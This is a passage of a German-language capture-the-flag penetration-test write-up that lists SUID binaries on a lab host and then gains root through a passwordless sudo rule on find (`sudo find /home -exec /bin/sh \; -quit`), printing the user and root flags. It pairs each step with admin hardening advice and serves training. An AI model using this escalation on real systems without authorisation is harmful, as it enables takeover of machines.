  1049936     16 -rwsr-xr-x   1 root     root               14488 Jul  8  2019 /usr/lib/eject/dmcrypt-get-device
  1049712    144 -rwsr-xr-x   1 root     root              146888 May 29 12:09 /usr/lib/snapd/snap-confine
  1059351     52 -rwsr-xr-x   1 root     root               53040 Nov 29  2022 /usr/bin/chsh
  1059353     88 -rwsr-xr-x   1 root     root               88464 Nov 29  2022 /usr/bin/gpasswd
  1049409    164 -rwsr-xr-x   1 root     root              166056 Apr  4 11:56 /usr/bin/sudo
  1050573     56 -rwsr-xr-x   1 root     root               55528 Feb  7  2022 /usr/bin/mount
  1059354     68 -rwsr-xr-x   1 root     root               68208 Nov 29  2022 /usr/bin/passwd
  1050577     40 -rwsr-xr-x   1 root     root               39144 Feb  7  2022 /usr/bin/umount
  1054503     32 -rwsr-xr-x   1 root     root               31032 Feb 21  2022 /usr/bin/pkexec
  1056467     84 -rwsr-xr-x   1 root     root               85064 Nov 29  2022 /usr/bin/chfn
  1049049     56 -rwsr-sr-x   1 daemon   daemon             55560 Nov 12  2018 /usr/bin/at
  1049394     44 -rwsr-xr-x   1 root     root               44784 May 28  2020 /usr/bin/newgrp
  1049652     68 -rwsr-xr-x   1 root     root               67816 Jul 21  2020 /usr/bin/su
  1049228     40 -rwsr-xr-x   1 root     root               39144 Mar  7  2020 /usr/bin/fusermount

Analyse: Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` sucht erneut nach SUID-Dateien.

Bewertung: Die Liste der SUID-Dateien wird angezeigt. Sie enthält Standard-Binaries. Da der `sudo find`-Weg bereits bekannt ist, ist diese Liste für die Eskalation nicht mehr primär relevant, dient aber der Vollständigkeit der Enumeration.

Empfehlung (Pentester): Konzentrieren Sie sich auf die Ausnutzung der bekannten `sudo find`-Berechtigung.
Empfehlung (Admin): Entfernen Sie unnötige SUID-Bits und halten Sie SUID-Programme aktuell.

Proof of Concept (Sudo Find)

Die durch `sudo -l` identifizierte Berechtigung, `/usr/bin/find` als Root ohne Passwort auszuführen, wird nun ausgenutzt, um Root-Rechte zu erlangen. Der spezifische Befehl wurde auch in der `.bash_history` gefunden.

GTFOBins Referenz für sudo + find
pwnlab@thothtech:/opt$ sudo find /home -exec /bin/sh \; -quit
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt # Pfad angepasst, da root.txt direkt im /root liegt
Root flag: d51546d5bcf8e3856c7bff5d201f0df6

good job :)

Analyse: Der Befehl `sudo find /home -exec /bin/sh \; -quit` wird ausgeführt. * `sudo`: Führt den Befehl mit Root-Rechten aus (da `NOPASSWD` für `find` gesetzt ist). * `find /home`: Startet den `find`-Befehl (der Suchpfad `/home` ist hier beliebig, `.` würde auch funktionieren). * `-exec /bin/sh \;`: Die entscheidende Option. Für jede gefundene Datei (hier wird nur eine benötigt) führt `find` den Befehl `/bin/sh` aus, was eine neue Shell startet. * `-quit`: Beendet `find` sofort nach der Ausführung des ersten `-exec`-Befehls. Die resultierende Shell (`/bin/sh`) läuft mit den Rechten des `find`-Prozesses, also als `root`.

Bewertung: Erfolg! Die Privilegieneskalation war erfolgreich. Der `id`-Befehl bestätigt `uid=0(root)`. Anschließend wird die Root-Flag aus `/root/root.txt` gelesen.

Empfehlung (Pentester): Ziel erreicht. Root- und User-Flags sind gesichert. Dokumentieren Sie den Eskalationsweg über `sudo find`.
Empfehlung (Admin): Entfernen Sie *dringend* die unsichere `sudo`-Regel für `/usr/bin/find`. Überprüfen Sie alle `sudo`-Konfigurationen auf ähnliche Schwachstellen.

Flags

cat /home/pwnlab/user.txt
5ec2a44a73e7b259c6b0abc174291359
cat /root/root.txt
d51546d5bcf8e3856c7bff5d201f0df6